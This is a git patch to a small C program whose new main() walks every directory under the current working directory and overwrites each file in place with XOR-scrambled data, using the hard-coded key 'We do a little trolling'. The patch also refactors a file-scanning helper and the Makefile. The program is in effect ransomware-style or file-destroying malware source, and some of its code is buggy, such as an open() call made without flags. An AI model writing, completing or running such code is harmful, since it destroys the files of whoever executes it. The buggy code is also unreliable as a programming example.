From 863a7a0a45c3ed01af8e155a648b55b59bed4594 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sat, 29 Jun 2024 05:08:52 -0500 Subject: Should work now --- src/Makefile | 9 ++++---- src/encryption.c | 4 +++- src/encryption.h | 3 +++ src/main.c | 16 ++++++++++++++ src/main.h | 6 ++++++ src/search.c | 64 ++++++++++++++++++++++++++++++++++++++------------------ src/search.h | 6 ++++++ 7 files changed, 82 insertions(+), 26 deletions(-) create mode 100644 src/main.h (limited to 'src') diff --git a/src/Makefile b/src/Makefile index f869a31..c140071 100644 --- a/src/Makefile +++ b/src/Makefile @@ -1,7 +1,7 @@ CC = gcc CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb -BINARY_FILES := encrypt search ll.o +BINARY_FILES := main encryption.o search.o ll.o .PHONY: all clean @@ -10,10 +10,9 @@ all: $(BINARY_FILES) clean: rm -rvf $(BINARY_FILES) -encrypt: encryption.c encryption.h - $(CC) $(CFLAGS) encryption.c -o encrypt -search: search.c search.h ll.o - $(CC) $(CFLAGS) search.c ll.o -o search +main: main.c main.h search.o encryption.o ll.o +encryption.o: encryption.c encryption.h +search.o: search.c search.h ll.o: ll.c ll.h \ No newline at end of file diff --git a/src/encryption.c b/src/encryption.c index 6539b1a..268b802 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -174,9 +174,11 @@ size_t passencblock(int fd, const char *passphrase) { return totalwritten; } +/* int main() { int fd = open("test.txt", O_RDWR); passencblock(fd, "we do a little trolling"); return 0; -} \ No newline at end of file +} +*/ \ No newline at end of file diff --git a/src/encryption.h b/src/encryption.h index eccb6b9..aa88048 100644 --- a/src/encryption.h +++ b/src/encryption.h @@ -6,4 +6,7 @@ /* Overwrite an open file with "encrypted" data by XOR'ing each byte with a character from PASSPHRASE. Returns number of bytes overwritten, and -1 on error */ size_t passenc(int fd, const char *passphrase); +/* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ +size_t passencblock(int fd, const char *passphrase); + #endif \ No newline at end of file diff --git a/src/main.c b/src/main.c index 6e0bc8f..ffce943 100644 --- a/src/main.c +++ b/src/main.c @@ -8,8 +8,24 @@ * */ +#define _GNU_SOURCE + +#include "main.h" +#include "encryption.h" +#include "search.h" +#include "ll.h" + int main() { + // Get folders + struct nodelist *files = scanfiles("./", alphasort); + + // Encrypt those files + for(struct nodelist *p = files; p != NULL; p = p->next) { + int fd = open(p->fullpath); + passencblock(fd, "We do a little trolling"); + } + nodelist_delete(files); return 0; } \ No newline at end of file diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..fa9e338 --- /dev/null +++ b/src/main.h @@ -0,0 +1,6 @@ +#ifndef __SLOTS__MAIN_H__2980986086219 +#define __SLOTS__MAIN_H__2980986086219 + + + +#endif \ No newline at end of file diff --git a/src/search.c b/src/search.c index 3488136..00ad141 100644 --- a/src/search.c +++ b/src/search.c @@ -99,37 +99,61 @@ struct nodelist* scanfolders(const char *STARTPATH, int (*cmp)(const struct dire return start; } -int main(void) { - struct nodelist *folders = NULL; - folders = scanfolders("./", alphasort); - +struct nodelist* scanfiles(const char *STARTPATH, int (*cmp)(const struct dirent **, const struct dirent **)) { + struct nodelist *folders = NULL, *files = NULL, *start = files; + folders = scanfolders(STARTPATH, cmp); + struct dirent **nodes; - int n; + int n = 0; char *restoredir = NULL; restoredir = get_current_dir_name(); - - char *actualpath = NULL; + if(restoredir == NULL) { + error(0, errno, "Could not get path to current working dir"); + nodelist_delete(folders); + return NULL; + } for(struct nodelist *p = folders; p != NULL; p = p->next) { - chdir(p->fullpath); - n = scandir(p->fullpath, &nodes, filesort, alphasort); + if(chdir(p->fullpath) < 0) { + error(0, errno, "Couldn't enter dir \"%s\", skipping...", p->fullpath); + continue; + } + + n = scandir(p->fullpath, &nodes, filesort, cmp); if(n >= 0) { - int cnt; - for(cnt = 0; cnt < n; ++cnt) { - actualpath = realpath(nodes[cnt]->d_name, NULL); - puts(actualpath); - free(actualpath); - } + for(int i = 0; i < n; i++) { + if(files == NULL) { + files = nodelist_init(NULL); + start = files; + } - } else - perror("Couldn't open the directory"); + files->fullpath = realpath(nodes[i]->d_name, NULL); + + printf("%s\n", files->fullpath); + + files->next = nodelist_init(NULL); + files = files->next; + } + } else { + error(0, errno, "Could not scan dir \"%s\", skipping...", p->fullpath); + continue; + } } - //*/ - nodelist_delete(folders); + return start; +} - chdir(restoredir); +/* +int main(void) { + struct nodelist *files = scanfiles("./", alphasort); + + printf("\nafter scan\n"); + for(struct nodelist *p = files; p != NULL; p = p->next) { + if(p->fullpath != NULL) // Annoying extra "null" entry at the end of the list + printf("%s\n", p->fullpath); + } return 0; } +*/ \ No newline at end of file diff --git a/src/search.h b/src/search.h index 8b5f502..f0e9144 100644 --- a/src/search.h +++ b/src/search.h @@ -16,4 +16,10 @@ int foldersort(const struct dirent *node); // Only int filesort(const struct dirent *node); // Only display files when using scandir +// Create a linked list of full paths to folders, using CMP to order them. Returns NULL on error +struct nodelist* scanfolders(const char *STARTPATH, int (*cmp)(const struct dirent **, const struct dirent **)); + +// Create a linked list of full paths to files, using CMP to order them. Returns NULL on error +struct nodelist* scanfiles(const char *STARTPATH, int (*cmp)(const struct dirent **, const struct dirent **)); + #endif \ No newline at end of file -- cgit v1.2.3